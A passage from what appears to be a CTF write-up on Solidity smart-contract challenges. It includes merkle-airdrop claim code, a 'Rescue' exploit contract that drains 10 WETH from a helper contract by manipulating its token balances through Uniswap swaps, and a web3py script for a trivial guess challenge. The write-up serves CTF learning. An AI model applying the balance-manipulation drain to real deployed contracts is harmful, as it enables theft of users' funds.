        uint index = 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442;
        address account = 0xd48451c19959e2D9bD4E620fBE88aA5F6F7eA72A;
        uint96 amount = 0x00000f40f0c122ae08d2207b;
        bytes32[] memory proofs = new bytes32[](5);

        proofs[0] = bytes32(0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d);
        proofs[1] = bytes32(0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde);
        proofs[2] = bytes32(0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813);
        proofs[3] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
        proofs[4] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
        md.claim(index, account, amount, proofs);    

        index = 8;
        account = 0x249934e4C5b838F920883a9f3ceC255C0aB3f827;
        amount = 0xa0d154c64a300ddf85;

        proofs = new bytes32[](6);
        proofs[0] = bytes32(0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00);
        proofs[1] = bytes32(0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3);
        proofs[2] = bytes32(0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2);
        proofs[3] = bytes32(0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a);
        proofs[4] = bytes32(0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c);
        proofs[5] = bytes32(0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5);
        md.claim(index, account, amount, proofs);    
    }
}

---

## Rescue
> Tags: PWN
> Description: I accidentally sent some WETH to a contract, can you help me?

In this assignment, we have a contract with 10 WETH on the balance, which we need to pull out. Let's look at the contract:

contract MasterChefHelper {

    MasterChefLike public constant masterchef = MasterChefLike(0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd);
    UniswapV2RouterLike public constant router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);

    function swapTokenForPoolToken(uint256 poolId, address tokenIn, uint256 amountIn, uint256 minAmountOut) external {
        (address lpToken,,,) = masterchef.poolInfo(poolId);
        address tokenOut0 = UniswapV2PairLike(lpToken).token0();
        address tokenOut1 = UniswapV2PairLike(lpToken).token1();

        ERC20Like(tokenIn).approve(address(router), type(uint256).max);
        ERC20Like(tokenOut0).approve(address(router), type(uint256).max);
        ERC20Like(tokenOut1).approve(address(router), type(uint256).max);
        ERC20Like(tokenIn).transferFrom(msg.sender, address(this), amountIn);

        // swap for both tokens of the lp pool
        _swap(tokenIn, tokenOut0, amountIn / 2);
        _swap(tokenIn, tokenOut1, amountIn / 2);

        // add liquidity and give lp tokens to msg.sender
        _addLiquidity(tokenOut0, tokenOut1, minAmountOut);
    }

    function _addLiquidity(address token0, address token1, uint256 minAmountOut) internal {
        (,, uint256 amountOut) = router.addLiquidity(
            token0, 
            token1, 
            ERC20Like(token0).balanceOf(address(this)), 
            ERC20Like(token1).balanceOf(address(this)), 
            0, 
            0, 
            msg.sender, 
            block.timestamp
        );
        require(amountOut >= minAmountOut);
    }

    function _swap(address tokenIn, address tokenOut, uint256 amountIn) internal {
        address[] memory path = new address[](2);
        path[0] = tokenIn;
        path[1] = tokenOut;
        router.swapExactTokensForTokens(
            amountIn,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

We have one external function that adds liquidity to the UniswapV2 pool. Since this function uses `ERC20Like(token0).balanceOf(address(this))` to determine the number of tokens, this is a suitable option for WETH output. However, we need the tokens to be in the right proportion and to do that we can simply transfer the second token, equivalent in value to 10 ETH, to the contract address and then call the function using the third token as an argument:

contract Rescue {
    UniswapV2RouterLike public router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);

    WETH9 public weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    ERC20Like public usdc = ERC20Like(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IPair public usdcweth = IPair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);

    IPair public usdtweth = IPair(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);

    constructor() payable {}

    function rescue(address setup) public {
        address target = ISetup(setup).mcHelper();
        
        weth.deposit{value: 11 ether}();
        weth.transfer(address(usdtweth), 10 ether);
        weth.transfer(address(usdcweth), 1 ether);

        (uint112 reserveUSDT, uint112 reserveWETH, ) = usdtweth.getReserves();
        uint256 amount = router.getAmountOut(10 ether, reserveWETH, reserveUSDT);
        usdtweth.swap(amount, 0, target, "");

        (reserveWETH, uint112 reserveUSDC, ) = usdcweth.getReserves();
        amount = router.getAmountOut(1 ether, reserveWETH, reserveUSDC);
        usdcweth.swap(0, amount, address(this), "");

        usdc.approve(target, usdc.balanceOf(address(this)));
        IMasterChefHelper(target).swapTokenForPoolToken(1, address(usdc), usdc.balanceOf(address(this)), 0);
    }
}

Deploy this contract with value 11 ETH, call `rescue(SETUP_ADDRESS)` and grab the flag.

---

## Random
> Tags: SANITY CHECK
> Description: I'm thinking of a number between 4 and 4

This challenge is very useful for understanding how to work with CTF infrastructure.

Let's take a look at the source code of the contracts:
##### Random.sol

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.15;

contract Random {

    bool public solved = false;
    
    // chosen by fair dice roll.
    function _getRandomNumber() internal pure returns (uint256) {
        return 4; // guaranteed to be random.
    }
    
    function solve(uint256 guess) public {
        require(guess == _getRandomNumber());
        solved = true;
    }
}

##### Setup.sol

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.15;

import "./Random.sol";

contract Setup {

    Random public random;

    constructor() {
        random = new Random();
    }

    function isSolved() public view returns (bool) {
        return random.solved();
    }
}

To solve this problem you only need to call `solve(4)`, but how do you do that?
My way is to use **Web3py**.
First, we need to generate ABIs for these contracts:

solc --abi Setup.sol

After creating a private blockchain, we are ready to start solving:

import web3

w3 = web3.Web3(web3.Web3.HTTPProvider('<YOUR RPC ENDPOINT URL>'))
setup_address = '<SETUP CONTRACT ADDRESS>'
setup_abi = '[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"random","outputs":[{"internalType":"contract Random","name":"","type":"address"}],"stateMutability":"view","type":"function"}]'
random_abi = '[{"inputs":[{"internalType":"uint256","name":"guess","type":"uint256"}],"name":"solve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"solved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]'

setup_contract = w3.eth.contract(address=setup_address, abi=setup_abi)
random_address = setup_contract.functions.random().call()
random_contract = w3.eth.contract(address=random_address, abi=random_abi)
random_contract.functions.solve(4).transact()

print("Solved" if setup_contract.functions.isSolved().call() else "((((")

Next, just get flag using netcat and be happy!

---